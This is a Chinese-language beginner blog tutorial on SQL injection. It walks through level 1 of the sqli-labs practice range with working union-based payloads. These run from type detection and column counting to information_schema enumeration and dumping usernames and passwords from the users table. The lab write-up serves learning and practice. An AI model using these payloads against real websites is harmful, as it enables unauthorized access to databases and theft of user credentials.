初识sql注入

所谓sql注入,就是将SQL代码插入或添加到用户输入的字段(比如网站的表单输入框)中,以此使得数据库执行非预期的命令。

例如,一个简单的登录验证场景命令,正常的 SQL 语句可能是这样的:

SELECT * FROM users WHERE username = 'input_username' AND password = 'input_password';

如果攻击者在用户名输入框中输入 ' OR 1=1 -- (这里假设应用程序没有对输入进行处理),那么实际执行的 SQL 语句就会变成:  

SELECT * FROM users WHERE username = '' OR 1=1 --' AND password = 'input_password';

其中,是 SQL 中的注释符,后面的内容会被数据库忽略。这样一来,由于 OR 1=1 这个条件恒成立,就可能导致绕过登录验证,直接获取到用户表中的所有信息。

听起来很帅吧,但以后一定谨慎,而且这玩意真的超级难懂,像是外星人的语言,需要我们学,一直学!

我以sqli-labs靶场第一关为例子讲解一些注入流程(包含一些语句)。

打开第一关

b33550a68a214d28b632c260549490f2.png

首先判断是否存在注入以及注入类型

如何判断页面是否存在sql注入,可以尝试闭合看有没有报错,如果报错,说明可以进行sql注入。(id后面加单引号,返回正常,不存在;返回不正常,存在)

注入类型判断:

假设ip/?id=1

如果是数字型,参数没有被引号包围:
id=1 and 1=1 返回页面正常
id=1 and 1=2 返回页面不正常
id=1’ and ‘1’=‘1 返回页面不正常
id=1’ and ‘1’=‘2 返回页面不正常
字符型,参数被引号包围:
id=1 and 1=1 返回页面正常或错误
id=1 and 1=2 返回页面正常或错误
id=1’ and ‘1’=‘1 返回页面正常
id=1’ and ‘1’='2 返回页面不正常

看到黄色字体,需要输入id,先试着输入 ?id=1(问号相当于告诉电脑要传入参数)

9a32d1d1699147559048ffb30ff3b36d.png

可以看到登录账号和密码。这里可以进行sql注入

下一步就开始进行注入。

看看数据库有多少列,使用以下语句:

?id=1' order by 3--+

?id=1' union select 1,2,3 --+

这两句都可以

补充:union select:将多个SELECT语句的结果合并到一个结果集中,用于联合注入(大概以后会讲,或者看其他人的博客,这里不再多讲)。

f4c09d0688dc46fe9d1fa9523d9466f9.png

b481c7124d6146a3bdd3eff99eb9c54d.png

可以发现有3列

判断name和password属于数据库中第几列

?id=-1' union select 1,2,3 --+

4c1c83b1e24644959d3fe0301366d9ca.png

可以看到name在第2列,password在第3列

下一步在第2或第3列查询数据库名称,语句如下:

?id=-1' union select 1,database(),3 --+

9acf57d0c80540c6b2c31123d7ec0266.png

然后分别利用如下语句查询数据库中所有的表和所有的列

?id=-1' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema= 'security'),3--+  表

?id=-1' union select 1,(select group_concat(column_name) from information_schema.columns where table_schema= 'security' and table_name='users'),3 --+  列

37f99c78b8bc4b5881bbb24d8378bfa5.png

a2feed7d04cf4c55a1327b9690f9e6b8.png

现在就差查数据了,语句走起

?id=-1' union select 1,group_concat(concat_ws(0x3a,username,password)),3 from security.users --+

f78aeaa87a79432f9cb738d23c2ad443.png

到这里,数据库名,数据库中的表名,列名,数据就都知道了。

那么第一关就大功告成!其实后面第二关到第四关大多类似,关键在于判断sql注入类型。

最后提醒:一定要在前面打问号!!!空格,大小写要把控好!sql注入语句比较难记,需要多加巩固实践!

今天就到这里喽!

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值